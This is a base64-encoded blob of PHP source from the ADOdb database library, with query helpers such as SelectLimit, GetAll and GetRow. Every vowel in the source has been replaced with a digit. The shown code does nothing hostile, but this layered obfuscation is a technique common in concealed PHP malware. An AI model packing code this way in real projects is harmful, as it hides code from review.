G5jLnBocCIpOw0KCQk0ZiAoJDVyciA9PT0gZjFsczUpICQ1cnIgPSAkdGg0cy0+RXJyMnJOMigpOw0KCQlyNXQzcm4gMWQyZGJfNXJyMnIoJHRoNHMtPmQxdDFQcjJ2NGQ1ciwkdGg0cy0+ZDF0MWIxczVUeXA1LCQ1cnIpOw0KCX0NCgkNCglmM25jdDQybiBNNXQxRXJyMnJNc2coJDVycm4yKQ0KCXsNCgkJNG5jbDNkNV8ybmM1KEFET0RCX0RJUi4iLzFkMmRiLTVycjJyLjRuYy5waHAiKTsNCgkJcjV0M3JuIDFkMmRiXzVycjJybXNnKCQ1cnJuMik7DQoJfQ0KCQ0KCS8qKg0KCSAqIEByNXQzcm5zIDFuIDFycjF5IHc0dGggdGg1IHByNG0xcnkgazV5IGMybDNtbnMgNG4gNHQuDQoJICovDQoJZjNuY3Q0Mm4gTTV0MVByNG0xcnlLNXlzKCR0MWJsNSwgJDJ3bjVyPWYxbHM1KQ0KCXsNCgkvLyAyd241ciBuMnQgM3M1ZCA0biBiMXM1IGNsMXNzIC0gczU1IDJjNDgNCgkJJHAgPSAxcnIxeSgpOw0KCQkkMmJqcyA9JiAkdGg0cy0+TTV0MUMybDNtbnMoJHQxYmw1KTsNCgkJNGYgKCQyYmpzKSB7DQoJCQlmMnI1MWNoKCQyYmpzIDFzICR2KSB7DQoJCQkJNGYgKCE1bXB0eSgkdi0+cHI0bTFyeV9rNXkpKQ0KCQkJCQkkcFtdID0gJHYtPm4xbTU7DQoJCQl9DQoJCX0NCgkJNGYgKHM0ejUyZigkcCkpIHI1dDNybiAkcDsNCgkJNGYgKGYzbmN0NDJuXzV4NHN0cygnQURPREJfVklFV19QUklNQVJZS0VZUycpKQ0KCQkJcjV0M3JuIEFET0RCX1ZJRVdfUFJJTUFSWUtFWVMoJHRoNHMtPmQxdDFiMXM1VHlwNSwgJHRoNHMtPmQxdDFiMXM1LCAkdDFibDUsICQyd241cik7DQoJCXI1dDNybiBmMWxzNTsNCgl9DQoJDQoJLyoqDQoJICogQHI1dDNybnMgMXNzMmMgMXJyMXkgd2g1cjUgazV5cyAxcjUgdDFibDVzLCAxbmQgdjFsMzVzIDFyNSBmMnI1NGduIGs1eXMNCgkgKi8NCglmM25jdDQybiBNNXQxRjJyNTRnbks1eXMoJHQxYmw1LCAkMnduNXI9ZjFsczUsICQzcHA1cj1mMWxzNSkNCgl7DQoJCXI1dDNybiBmMWxzNTsNCgl9DQoJLyoqDQoJICogQ2gyMnM1IDEgZDF0MWIxczUgdDIgYzJubjVjdCB0Mi4gTTFueSBkMXQxYjFzNXMgZDIgbjJ0IHMzcHAycnQgdGg0cy4NCgkgKg0KCSAqIEBwMXIxbSBkYk4xbTUgCTRzIHRoNSBuMW01IDJmIHRoNSBkMXQxYjFzNSB0MiBzNWw1Y3QNCgkgKiBAcjV0M3JuIAkJdHIzNSAyciBmMWxzNQ0KCSAqLw0KCWYzbmN0NDJuIFM1bDVjdERCKCRkYk4xbTUpIA0KCXtyNXQzcm4gZjFsczU7fQ0KCQ0KCQ0KCS8qKg0KCSogVzRsbCBzNWw1Y3QsIGc1dHQ0bmcgcjJ3cyBmcjJtICQyZmZzNXQgKDYtYjFzNWQpLCBmMnIgJG5yMndzLiANCgkqIFRoNHMgczRtM2wxdDVzIHRoNSBNeVNRTCAiczVsNWN0ICogZnIybSB0MWJsNSBsNG00dCAkMmZmczV0LCRucjJ3cyIgLCAxbmQNCgkqIHRoNSBQMnN0Z3I1U1FMICJzNWw1Y3QgKiBmcjJtIHQxYmw1IGw0bTR0ICRucjJ3cyAyZmZzNXQgJDJmZnM1dCIuIE4ydDUgdGgxdA0KCSogTXlTUUwgMW5kIFAyc3RncjVTUUwgcDFyMW01dDVyIDJyZDVyNG5nIDRzIHRoNSAycHAyczR0NSAyZiB0aDUgMnRoNXIuDQoJKiA1Zy4gDQoJKiAgUzVsNWN0TDRtNHQoJ3M1bDVjdCAqIGZyMm0gdDFibDUnLG8pOyB3NGxsIHI1dDNybiByMndzIDYgdDIgbyAoNi1iMXM1ZCkNCgkqICBTNWw1Y3RMNG00dCgnczVsNWN0ICogZnIybSB0MWJsNScsbyxhKTsgdzRsbCByNXQzcm4gcjJ3cyBvIHQyIGkgKDYtYjFzNWQpDQoJKg0KCSogVXM1cyBTRUxFQ1QgVE9QIGYyciBNNGNyMnMyZnQgZDF0MWIxczVzICh3aDVuICR0aDRzLT5oMXNUMnAgNHMgczV0KQ0KCSogQlVHOiBDM3JyNW50bHkgUzVsNWN0TDRtNHQgZjE0bHMgdzR0aCAkc3FsIHc0dGggTElNSVQgMnIgVE9QIGNsMTNzNSAxbHI1MWR5IHM1dA0KCSoNCgkqIEBwMXIxbSBzcWwNCgkqIEBwMXIxbSBbMmZmczV0XQk0cyB0aDUgcjJ3IHQyIHN0MXJ0IGMxbGMzbDF0NDJucyBmcjJtICg2LWIxczVkKQ0KCSogQHAxcjFtIFtucjJ3c10JCTRzIHRoNSBuM21iNXIgMmYgcjJ3cyB0MiBnNXQNCgkqIEBwMXIxbSBbNG5wM3QxcnJdCTFycjF5IDJmIGI0bmQgdjFyNDFibDVzDQoJKiBAcDFyMW0gW3M1Y3NhYzFjaDVdCQk0cyAxIHByNHYxdDUgcDFyMW01dDVyIDJubHkgM3M1ZCBieSBqbDRtDQoJKiBAcjV0M3JuCQl0aDUgcjVjMnJkczV0ICgkcnMtPmQxdDFiMXM1VHlwNSA9PSAnMXJyMXknKQ0KIAkqLw0KCWYzbmN0NDJuICZTNWw1Y3RMNG00dCgkc3FsLCRucjJ3cz0tNiwkMmZmczV0PS02LCAkNG5wM3QxcnI9ZjFsczUsJHM1Y3NhYzFjaDU9MCkNCgl7DQoJCTRmICgkdGg0cy0+aDFzVDJwICYmICRucjJ3cyA+IDApIHsNCgkJLy8gczNnZzVzdDVkIGJ5IFI1NG5oMXJkIEIxbGw0bmcuIEFjYzVzcyByNXEzNHI1cyB0MnAgMWZ0NXIgZDRzdDRuY3QgDQoJCSAvLyBJbmYycm00eCByNXEzNHI1cyBmNHJzdCBiNWYycjUgZDRzdDRuY3QgLSBGIFI0MnMxDQoJCQkkNHNtc3NxbCA9IChzdHJwMnMoJHRoNHMtPmQxdDFiMXM1VHlwNSwnbXNzcWwnKSAhPT0gZjFsczUpOw0KCQkJNGYgKCQ0c21zc3FsKSAkNHMxY2M1c3MgPSBmMWxzNTsNCgkJCTVsczUgJDRzMWNjNXNzID0gKHN0cnAycygkdGg0cy0+ZDF0MWIxczVUeXA1LCcxY2M1c3MnKSAhPT0gZjFsczUpOw0KCQkJDQoJCQk0ZiAoJDJmZnM1dCA8PSAJMCkgew0KCQkJCQ0KCQkJCQkvLyAxY2M1c3MgNG5jbDNkNXMgdDQ1cyA0biByNXMzbHQNCgkJCQkJNGYgKCQ0czFjYzVzcykgew0KCQkJCQkJJHNxbCA9IHByNWdfcjVwbDFjNSgNCgkJCQkJCScvKF5ccypzNWw1Y3RccysoZDRzdDRuY3RyMnd8ZDRzdDRuY3QpPykvNCcsJ1xcNiAnLiR0aDRzLT5oMXNUMnAuJyAnLigoNG50NWc1cikkbnIyd3MpLicgJywkc3FsKTsNCg0KCQkJCQkJNGYgKCRzNWNzYWMxY2g1ICE9IDApIHsNCgkJCQkJCQkkcjV0ID0mICR0aDRzLT5DMWNoNUV4NWMzdDUoJHM1Y3NhYzFjaDUsICRzcWwsJDRucDN0MXJyKTsNCgkJCQkJCX0gNWxzNSB7DQoJCQkJCQkJJHI1dCA9JiAkdGg0cy0+RXg1YzN0NSgkc3FsLCQ0bnAzdDFycik7DQoJCQkJCQl9DQoJCQkJCQlyNXQzcm4gJHI1dDsgLy8gUEhQaSBmNHgNCgkJCQkJfSA1bHM1IDRmICgkNHNtc3NxbCl7DQoJCQkJCQkkc3FsID0gcHI1Z19yNXBsMWM1KA0KCQkJCQkJJy8oXlxzKnM1bDVjdFxzKyhkNHN0NG5jdHIyd3xkNHN0NG5jdCk/KS80JywnXFw2ICcuJHRoNHMtPmgxc1QycC4nICcuKCg0bnQ1ZzVyKSRucjJ3cykuJyAnLCRzcWwpOw0KCQkJCQl9IDVsczUgew0KCQkJCQkJJHNxbCA9IHByNWdfcjVwbDFjNSgNCgkJCQkJCScvKF5ccypzNWw1Y3RccykvNCcsJ1xcNiAnLiR0aDRzLT5oMXNUMnAuJyAnLigoNG50NWc1cikkbnIyd3MpLicgJywkc3FsKTsNCgkJCQkJfQ0KCQkJfSA1bHM1IHsNCgkJCQkkbm4gPSAkbnIyd3MgKyAkMmZmczV0Ow0KCQkJCTRmICgkNHMxY2M1c3MgfHwgJDRzbXNzcWwpIHsNCgkJCQkJJHNxbCA9IHByNWdfcjVwbDFjNSgNCgkJCQkJJy8oXlxzKnM1bDVjdFxzKyhkNHN0NG5jdHIyd3xkNHN0NG5jdCk/KS80JywnXFw2ICcuJHRoNHMtPmgxc1QycC4nICcuJG5uLicgJywkc3FsKTsNCgkJCQl9IDVsczUgew0KCQkJCQkkc3FsID0gcHI1Z19yNXBsMWM1KA0KCQkJCQknLyheXHMqczVsNWN0XHMpLzQnLCdcXDYgJy4kdGg0cy0+aDFzVDJwLicgJy4kbm4uJyAnLCRzcWwpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkNCgkJLy8gNGYgJDJmZnM1dD4wLCB3NSB3MW50IHQyIHNrNHAgcjJ3cywgMW5kICRBRE9EQl9DT1VOVFJFQ1MgNHMgczV0LCB3NSBiM2ZmNXIgIHIyd3MNCgkJLy8gMCB0MiAyZmZzNXQtNiB3aDRjaCB3NGxsIGI1IGQ0c2MxcmQ1ZCAxbnl3MXkuIFMyIHc1IGQ0czFibDUgJEFET0RCX0NPVU5UUkVDUy4NCgkJZ2wyYjFsICRBRE9EQl9DT1VOVFJFQ1M7DQoJCQ0KCQkkczF2NWMgPSAkQURPREJfQ09VTlRSRUNTOw0KCQkkQURPREJfQ09VTlRSRUNTID0gZjFsczU7DQoJCQkNCgkJNGYgKCQyZmZzNXQ+MCl7DQoJCQk0ZiAoJHM1Y3NhYzFjaDUgIT0gMCkgJHJzID0gJiR0aDRzLT5DMWNoNUV4NWMzdDUoJHM1Y3NhYzFjaDUsJHNxbCwkNG5wM3QxcnIpOw0KCQkJNWxzNSAkcnMgPSAmJHRoNHMtPkV4NWMzdDUoJHNxbCwkNG5wM3QxcnIpOw0KCQl9IDVsczUgew0KCQkJNGYgKCRzNWNzYWMxY2g1ICE9IDApICRycyA9ICYkdGg0cy0+QzFjaDVFeDVjM3Q1KCRzNWNzYWMxY2g1LCRzcWwsJDRucDN0MXJyKTsNCgkJCTVsczUgJHJzID0gJiR0aDRzLT5FeDVjM3Q1KCRzcWwsJDRucDN0MXJyKTsNCgkJfQ0KCQkkQURPREJfQ09VTlRSRUNTID0gJHMxdjVjOw0KCQk0ZiAoJHJzICYmICEkcnMtPkVPRikgew0KCQkJJHJzID0mICR0aDRzLT5fcnNhcnMoJHJzLCRucjJ3cywkMmZmczV0KTsNCgkJfQ0KCQkvL3ByNG50X3IoJHJzKTsNCgkJcjV0M3JuICRyczsNCgl9DQoJDQoJLyoqDQoJKiBDcjUxdDUgczVyNDFsNHoxYmw1IHI1YzJyZHM1dC4gQnI1MWtzIHJzIGw0bmsgdDIgYzJubjVjdDQybi4NCgkqDQoJKiBAcDFyMW0gcnMJCQl0aDUgcjVjMnJkczV0IHQyIHM1cjQxbDR6NQ0KCSovDQoJZjNuY3Q0Mm4gJlM1cjQxbDR6MWJsNVJTKCYkcnMpDQoJew0KCQkkcnNhID0mICR0aDRzLT5fcnNhcnMoJHJzKTsNCgkJJDRnbjJyNSA9IGYxbHM1Ow0KCQkkcnNhLT5jMm5uNWN0NDJuID0mICQ0Z24ycjU7DQoJCQ0KCQlyNXQzcm4gJHJzYTsNCgl9DQoJDQoJLyoqDQoJKiBDMm52NXJ0IGQxdDFiMXM1IHI1YzJyZHM1dCB0MiAxbiAxcnIxeSByNWMycmRzNXQNCgkqIDRucDN0IHI1YzJyZHM1dCdzIGMzcnMyciBzaDIzbGQgYjUgMXQgYjVnNG5uNG5nLCAxbmQNCgkqIDJsZCAkcnMgdzRsbCBiNSBjbDJzNWQuDQoJKg0KCSogQHAxcjFtIHJzCQkJdGg1IHI1YzJyZHM1dCB0MiBjMnB5DQoJKiBAcDFyMW0gW25yMndzXSAgCW4zbWI1ciAyZiByMndzIHQyIHI1dHI0NXY1ICgycHQ0Mm4xbCkNCgkqIEBwMXIxbSBbMmZmczV0XSAJMmZmczV0IGJ5IG4zbWI1ciAyZiByMndzICgycHQ0Mm4xbCkNCgkqIEByNXQzcm4gCQkJdGg1IG41dyByNWMycmRzNXQNCgkqLw0KCWYzbmN0NDJuICZfcnNhcnMoJiRycywkbnIyd3M9LTYsJDJmZnM1dD0tNiwkY2wyczU9dHIzNSkNCgl7DQoJCTRmICghICRycykgew0KCQkJJGYxbHM1ID0gZjFsczU7DQoJCQlyNXQzcm4gJGYxbHM1Ow0KCQl9DQoJCSRkYnR5cDUgPSAkcnMtPmQxdDFiMXM1VHlwNTsNCgkJNGYgKCEkZGJ0eXA1KSB7DQoJCQkkcnMgPSAmJHJzOyAgLy8gcjVxMzRyNWQgdDIgcHI1djVudCBjcjFzaDRuZyA0biB1LmEuNiwgYjN0IGQyNXMgbjJ0IGgxcHA1biA0biB1Lm8uNiAtLSB3aHkgPw0KCQkJcjV0M3JuICRyczsNCgkJfQ0KCQk0ZiAoKCRkYnR5cDUgPT0gJzFycjF5JyB8fCAkZGJ0eXA1ID09ICdjc3YnKSAmJiAkbnIyd3MgPT0gLTYgJiYgJDJmZnM1dCA9PSAtNikgew0KCQkJJHJzLT5NMnY1RjRyc3QoKTsNCgkJCSRycyA9ICYkcnM7IC8vIHI1cTM0cjVkIHQyIHByNXY1bnQgY3Ixc2g0bmcgNG4gdS5hLjYsIGIzdCBkMjVzIG4ydCBoMXBwNW4gNG4gdS5vLjYtLSB3aHkgPw0KCQkJcjV0M3JuICRyczsNCgkJfQ0KCQkkZmxkcyA9IDFycjF5KCk7DQoJCWYyciAoJDQ9MCwgJG0xeD0kcnMtPkY0NWxkQzIzbnQoKTsgJDQgPCAkbTF4OyAkNCsrKSB7DQoJCQkkZmxkc1tdID0gJHJzLT5GNXRjaEY0NWxkKCQ0KTsNCgkJfQ0KDQoJCSQxcnIgPSYgJHJzLT5HNXRBcnIxeUw0bTR0KCRucjJ3cywkMmZmczV0KTsNCgkJLy9wcjRudF9yKCQxcnIpOw0KCQk0ZiAoJGNsMnM1KSAkcnMtPkNsMnM1KCk7DQoJCQ0KCQkkMXJyMXlDbDFzcyA9ICR0aDRzLT4xcnIxeUNsMXNzOw0KCQkNCgkJJHJzYSA9IG41dyAkMXJyMXlDbDFzcygpOw0KCQkkcnNhLT5jMm5uNWN0NDJuID0gJiR0aDRzOw0KCQkkcnNhLT5zcWwgPSAkcnMtPnNxbDsNCgkJJHJzYS0+ZDF0MVByMnY0ZDVyID0gJHRoNHMtPmQxdDFQcjJ2NGQ1cjsNCgkJJHJzYS0+SW40dEFycjF5RjQ1bGRzKCQxcnIsJGZsZHMpOw0KCQkkcnNhLT5mNXRjaE0yZDUgPSA0c3M1dCgkcnMtPjFkMmRiRjV0Y2hNMmQ1KSA/ICRycy0+MWQyZGJGNXRjaE0yZDUgOiAkcnMtPmY1dGNoTTJkNTsNCgkJcjV0M3JuICRyc2E7DQoJfQ0KCQ0KCS8qDQoJKiBSNXQzcm4gMWxsIHIyd3MuIEMybXAxdCB3NHRoIFBFQVIgREINCgkqLw0KCWYzbmN0NDJuICZHNXRBbGwoJHNxbCwgJDRucDN0MXJyPWYxbHM1KQ0KCXsNCgkJJDFyciA9JiAkdGg0cy0+RzV0QXJyMXkoJHNxbCwkNG5wM3QxcnIpOw0KCQlyNXQzcm4gJDFycjsNCgl9DQoJDQoJZjNuY3Q0Mm4gJkc1dEFzczJjKCRzcWwsICQ0bnAzdDFycj1mMWxzNSwkZjJyYzVfMXJyMXkgPSBmMWxzNSwgJGY0cnN0YWMybHMgPSBmMWxzNSkNCgl7DQoJCSRycyA9JiAkdGg0cy0+RXg1YzN0NSgkc3FsLCAkNG5wM3QxcnIpOw0KCQk0ZiAoISRycykgew0KCQkJJGYxbHM1ID0gZjFsczU7DQoJCQlyNXQzcm4gJGYxbHM1Ow0KCQl9DQoJCSQxcnIgPSYgJHJzLT5HNXRBc3MyYygkZjJyYzVfMXJyMXksJGY0cnN0YWMybHMpOw0KCQlyNXQzcm4gJDFycjsNCgl9DQoJDQoJZjNuY3Q0Mm4gJkMxY2g1RzV0QXNzMmMoJHM1Y3NhYzFjaDUsICRzcWw9ZjFsczUsICQ0bnAzdDFycj1mMWxzNSwkZjJyYzVfMXJyMXkgPSBmMWxzNSwgJGY0cnN0YWMybHMgPSBmMWxzNSkNCgl7DQoJCTRmICghNHNfbjNtNXI0YygkczVjc2FjMWNoNSkpIHsNCgkJCSRmNHJzdGFjMmxzID0gJGYycmM1XzFycjF5Ow0KCQkJJGYycmM1XzFycjF5ID0gJDRucDN0MXJyOw0KCQl9DQoJCSRycyA9JiAkdGg0cy0+QzFjaDVFeDVjM3Q1KCRzNWNzYWMxY2g1LCAkc3FsLCAkNG5wM3QxcnIpOw0KCQk0ZiAoISRycykgew0KCQkJJGYxbHM1ID0gZjFsczU7DQoJCQlyNXQzcm4gJGYxbHM1Ow0KCQl9DQoJCSQxcnIgPSYgJHJzLT5HNXRBc3MyYygkZjJyYzVfMXJyMXksJGY0cnN0YWMybHMpOw0KCQlyNXQzcm4gJDFycjsNCgl9DQoJDQoJLyoqDQoJKiBSNXQzcm4gZjRyc3QgNWw1bTVudCAyZiBmNHJzdCByMncgMmYgc3FsIHN0MXQ1bTVudC4gUjVjMnJkczV0IDRzIGQ0c3AyczVkDQoJKiBmMnIgeTIzLg0KCSoNCgkqIEBwMXIxbSBzcWwJCQlTUUwgc3QxdDVtNW50DQoJKiBAcDFyMW0gWzRucDN0MXJyXQkJNG5wM3QgYjRuZCAxcnIxeQ0KCSovDQoJZjNuY3Q0Mm4gRzV0T241KCRzcWwsJDRucDN0MXJyPWYxbHM1KQ0KCXsNCglnbDJiMWwgJEFET0RCX0NPVU5UUkVDUzsNCgkJJGNyNWNzID0gJEFET0RCX0NPVU5UUkVDUzsNCgkJJEFET0RCX0NPVU5UUkVDUyA9IGYxbHM1Ow0KCQkNCgkJJHI1dCA9IGYxbHM1Ow0KCQkkcnMgPSAmJHRoNHMtPkV4NWMzdDUoJHNxbCwkNG5wM3QxcnIpOw0KCQk0ZiAoJHJzKSB7CQ0KCQkJNGYgKCRycy0+RU9GKSAkcjV0ID0gbjNsbDsNCgkJCTVsczUgJHI1dCA9IHI1czV0KCRycy0+ZjQ1bGRzKTsNCgkJCQ0KCQkJJHJzLT5DbDJzNSgpOw0KCQl9DQoJCSRBRE9EQl9DT1VOVFJFQ1MgPSAkY3I1Y3M7DQoJCXI1dDNybiAkcjV0Ow0KCX0NCgkNCglmM25jdDQybiBDMWNoNUc1dE9uNSgkczVjc2FjMWNoNSwkc3FsPWYxbHM1LCQ0bnAzdDFycj1mMWxzNSkNCgl7DQoJCSRyNXQgPSBmMWxzNTsNCgkJJHJzID0gJiR0aDRzLT5DMWNoNUV4NWMzdDUoJHM1Y3NhYzFjaDUsJHNxbCwkNG5wM3QxcnIpOw0KCQk0ZiAoJHJzKSB7CQkNCgkJCTRmICgkcnMtPkVPRikgJHI1dCA9IG4zbGw7DQoJCQk1bHM1ICRyNXQgPSByNXM1dCgkcnMtPmY0NWxkcyk7DQoJCQkkcnMtPkNsMnM1KCk7DQoJCX0gDQoJCQ0KCQlyNXQzcm4gJHI1dDsNCgl9DQoJDQoJZjNuY3Q0Mm4gRzV0QzJsKCRzcWwsICQ0bnAzdDFyciA9IGYxbHM1LCAkdHI0bSA9IGYxbHM1KQ0KCXsNCgkgIAkNCgkgIAkkcnMgPSAmJHRoNHMtPkV4NWMzdDUoJHNxbCwgJDRucDN0MXJyKTsNCgkgIAk0ZiAoJHJzKSB7DQoJCQkkcnYgPSAxcnIxeSgpOw0KCSAgIAkJNGYgKCR0cjRtKSB7DQoJCQkJd2g0bDUgKCEkcnMtPkVPRikgew0KCQkJCQkkcnZbXSA9IHRyNG0ocjVzNXQoJHJzLT5mNDVsZHMpKTsNCgkJCQkJJHJzLT5NMnY1TjV4dCgpOw0KCQkgICAJCX0NCgkJCX0gNWxzNSB7DQoJCQkJd2g0bDUgKCEkcnMtPkVPRikgew0KCQkJCQkkcnZbXSA9IHI1czV0KCRycy0+ZjQ1bGRzKTsNCgkJCQkJJHJzLT5NMnY1TjV4dCgpOw0KCQkgICAJCX0NCgkJCX0NCgkgICAJCSRycy0+Q2wyczUoKTsNCgkgIAl9IDVsczUNCgkJCSRydiA9IGYxbHM1Ow0KCSAgCXI1dDNybiAkcnY7DQoJfQ0KCQ0KCWYzbmN0NDJuIEMxY2g1RzV0QzJsKCRzNWNzLCAkc3FsID0gZjFsczUsICQ0bnAzdDFyciA9IGYxbHM1LCR0cjRtPWYxbHM1KQ0KCXsNCgkgIAkkcnMgPSAmJHRoNHMtPkMxY2g1RXg1YzN0NSgkczVjcywgJHNxbCwgJDRucDN0MXJyKTsNCgkgIAk0ZiAoJHJzKSB7DQoJCQkkcnYgPSAxcnIxeSgpOw0KCQkJNGYgKCR0cjRtKSB7DQoJCQkJd2g0bDUgKCEkcnMtPkVPRikgew0KCQkJCQkkcnZbXSA9IHRyNG0ocjVzNXQoJHJzLT5mNDVsZHMpKTsNCgkJCQkJJHJzLT5NMnY1TjV4dCgpOw0KCQkgICAJCX0NCgkJCX0gNWxzNSB7DQoJCQkJd2g0bDUgKCEkcnMtPkVPRikgew0KCQkJCQkkcnZbXSA9IHI1czV0KCRycy0+ZjQ1bGRzKTsNCgkJCQkJJHJzLT5NMnY1TjV4dCgpOw0KCQkgICAJCX0NCgkJCX0NCgkgICAJCSRycy0+Q2wyczUoKTsNCgkgIAl9IDVsczUJCQ0KCQkgIAkkcnYgPSBmMWxzNTsNCgkgIAkNCgkJcjV0M3JuICRydjsNCgl9DQoJDQoJZjNuY3Q0Mm4gJlRyMW5zcDJzNSgmJHJzLCQxZGRmNDVsZG4xbTVzPXRyMzUpDQoJew0KCQkkcnNhID0mICR0aDRzLT5fcnNhcnMoJHJzKTsNCgkJJGYxbHM1ID0gZjFsczU7DQoJCTRmICghJHJzYSkgcjV0M3JuICRmMWxzNTsNCgkJDQoJCSRyc2EtPl90cjFuc3AyczUoJDFkZGY0NWxkbjFtNXMpOw0KCQlyNXQzcm4gJHJzYTsNCgl9DQogDQoJLyoNCgkJQzFsYzNsMXQ1IHRoNSAyZmZzNXQgMmYgMSBkMXQ1IGYyciAxIHAxcnQ0YzNsMXIgZDF0MWIxczUgMW5kIGc1bjVyMXQ1DQoJCQkxcHByMnByNDF0NSBTUUwuIFVzNWYzbCBmMnIgYzFsYzNsMXQ0bmcgZjN0M3I1L3Axc3QgZDF0NXMgMW5kIHN0MnI0bmcNCgkJCTRuIDEgZDF0MWIxczUuDQoJCQkNCgkJSWYgZDF5RnIxY3Q0Mm49Ni5pIG01MW5zIDYuaSBkMXlzIGZyMm0gbjJ3LCA2LjAvYXUgZjJyIDYgaDIzci4NCgkqLw0KCWYzbmN0NDJuIE9mZnM1dEQxdDUoJGQxeUZyMWN0NDJuLCRkMXQ1PWYxbHM1KQ0KCXsJCQ0KCQk0ZiAoISRkMXQ1KSAkZDF0NSA9ICR0aDRzLT5zeXNEMXQ1Ow0KCQlyNXQzcm4gICcoJy4kZDF0NS4nKycuJGQxeUZyMWN0NDJuLicpJzsNCgl9DQoJDQoJDQoJLyoqDQoJKg0KCSogQHAxcjFtIHNxbAkJCVNRTCBzdDF0NW01bnQNCgkqIEBwMXIxbSBbNG5wM3QxcnJdCQk0bnAzdCBiNG5kIDFycjF5DQoJKi8NCglmM25jdDQybiAmRzV0QXJyMXkoJHNxbCwkNG5wM3QxcnI9ZjFsczUpDQoJew0KCWdsMmIxbCAkQURPREJfQ09VTlRSRUNTOw0KCQkNCgkJJHMxdjVjID0gJEFET0RCX0NPVU5UUkVDUzsNCgkJJEFET0RCX0NPVU5UUkVDUyA9IGYxbHM1Ow0KCQkkcnMgPSYgJHRoNHMtPkV4NWMzdDUoJHNxbCwkNG5wM3QxcnIpOw0KCQkkQURPREJfQ09VTlRSRUNTID0gJHMxdjVjOw0KCQk0ZiAoISRycykgDQoJCQk0ZiAoZDVmNG41ZCgnQURPREJfUEVBUicpKSB7DQoJCQkJJGNscyA9IEFET0RCX1BFQVJfRXJyMnIoKTsNCgkJCQlyNXQzcm4gJGNsczsNCgkJCX0gNWxzNSB7DQoJCQkJJGYxbHM1ID0gZjFsczU7DQoJCQkJcjV0M3JuICRmMWxzNTsNCgkJCX0NCgkJJDFyciA9JiAkcnMtPkc1dEFycjF5KCk7DQoJCSRycy0+Q2wyczUoKTsNCgkJcjV0M3JuICQxcnI7DQoJfQ0KCQ0KCWYzbmN0NDJuICZDMWNoNUc1dEFsbCgkczVjc2FjMWNoNSwkc3FsPWYxbHM1LCQ0bnAzdDFycj1mMWxzNSkNCgl7DQoJCSQxcnIgPSYgJHRoNHMtPkMxY2g1RzV0QXJyMXkoJHM1Y3NhYzFjaDUsJHNxbCwkNG5wM3QxcnIpOw0KCQlyNXQzcm4gJDFycjsNCgl9DQoJDQoJZjNuY3Q0Mm4gJkMxY2g1RzV0QXJyMXkoJHM1Y3NhYzFjaDUsJHNxbD1mMWxzNSwkNG5wM3QxcnI9ZjFsczUpDQoJew0KCWdsMmIxbCAkQURPREJfQ09VTlRSRUNTOw0KCQkNCgkJJHMxdjVjID0gJEFET0RCX0NPVU5UUkVDUzsNCgkJJEFET0RCX0NPVU5UUkVDUyA9IGYxbHM1Ow0KCQkkcnMgPSYgJHRoNHMtPkMxY2g1RXg1YzN0NSgkczVjc2FjMWNoNSwkc3FsLCQ0bnAzdDFycik7DQoJCSRBRE9EQl9DT1VOVFJFQ1MgPSAkczF2NWM7DQoJCQ0KCQk0ZiAoISRycykgDQoJCQk0ZiAoZDVmNG41ZCgnQURPREJfUEVBUicpKSB7DQoJCQkJJGNscyA9IEFET0RCX1BFQVJfRXJyMnIoKTsNCgkJCQlyNXQzcm4gJGNsczsNCgkJCX0gNWxzNSB7DQoJCQkJJGYxbHM1ID0gZjFsczU7DQoJCQkJcjV0M3JuICRmMWxzNTsNCgkJCX0NCgkJJDFyciA9JiAkcnMtPkc1dEFycjF5KCk7DQoJCSRycy0+Q2wyczUoKTsNCgkJcjV0M3JuICQxcnI7DQoJfQ0KCQ0KCWYzbmN0NDJuIEc1dFIxbmRSMncoJHNxbCwgJDFycj0gZjFsczUpDQoJew0KCQkkcjV6MXJyID0gJHRoNHMtPkc1dEFsbCgkc3FsLCAkMXJyKTsNCgkJJHN6ID0gczR6NTJmKCRyNXopOw0KCQlyNXQzcm4gJHI1ejFyclsxYnMocjFuZCgpKSAlICRzel07DQoJfQ0KCQ0KCS8qKg0KCSogUjV0M3JuIDJuNSByMncgMmYgc3FsIHN0MXQ1bTVudC4gUjVjMnJkczV0IDRzIGQ0c3AyczVkIGYyciB5MjMuDQoJKg0KCSogQHAxcjFtIHNxbAkJCVNRTCBzdDF0NW01bnQNCgkqIEBwMXIxbSBbNG5wM3QxcnJdCQk0bnAzdCBiNG5kIDFycjF5DQoJKi8NCglmM25jdDQybiAmRzV0UjJ3KCRzcWwsJDRucDN0MXJyPWYxbHM1KQ0KCXsNCglnbDJiMWwgJEFET0RCX0NPVU5UUkVDUzsNCgkJJGNyNWNzID0gJEFET0RCX0NPVU5UUkVDUzsNCgkJJEFET0RCX0NPVU5UUkVDUyA9IGYxbHM1Ow0KCQkNCgkJJHJzID0mICR0aDRzLT5FeDVjM3Q1KCRzcWwsJDRucDN0MXJyKTsNCgkJDQoJCSRBRE9EQl9DT1VOVFJFQ1MgPSAkY3I1Y3M7DQoJCTRmICgkcnMpIHsNCgkJCTRmICghJHJzLT5FT0YpICQxcnIgPSAkcnMtPmY0NWxkczsNCgkJCTVsczUgJDFyciA9IDFycjF5KCk7DQoJCQkkcnMtPkNsMnM1KCk7DQoJCQlyNXQzcm4gJDFycjsNCgkJfQ0KCQkNCgkJJGYxbHM1ID0gZjFsczU7DQoJCXI1dDNybiAkZjFsczU7DQoJfQ0KCQ0KCWYzbmN0NDJuICZDMWNoNUc1dFIydygkczVjc2FjMWNoNSwkc3FsPWYxbHM1LCQ0bnAzdDFycj1mMWxzNSkNCgl7DQoJCSRycyA9JiAkdGg0cy0+QzFjaDVFeDVjM3Q1KCRzNWNzYWMxY2g1LCRzcWwsJDRucDN0MXJyKTsNCgkJNGYgKCRycykgew0KCQkJJDFyciA9IDFycjF5KCk7DQoJCQk0ZiAoISRycy0+RU9GKSAkMXJyID0gJHJzLT5mNDVsZHM7DQoJCQkkcnMtPkNsMnM1KCk7DQoJCQlyNXQzcm4gJDFycjsNCgkJfQ0KCQkkZjFsczUgPSBmMWxzNTsNCgkJcjV0M3JuICRmMWxzNTsNCgl9DQoJDQoJLyoqDQoJKiBJbnM1cnQgMnIgcjVwbDFjNSAxIHM0bmdsNSByNWMycmQuIE4ydDU6IHRoNHMgNHMgbjJ0IHRoNSBzMW01IDFzIE15U1FMJ3MgcjVwbDFjNS4gDQoJKiBBRE9kYidzIFI1cGwxYzUoKSAzczVzIDNwZDF0NS00bnM1cnQgczVtMW50NGNzLCBuMnQgNG5zNXJ0LWQ1bDV0NS1kM3BsNGMxdDVzIDJmIE15U1FMLg0KCSogQWxzMiBuMnQ1IHRoMXQgbjIgdDFibDUgbDJjazRuZyA0cyBkMm41IGMzcnI1bnRseSwg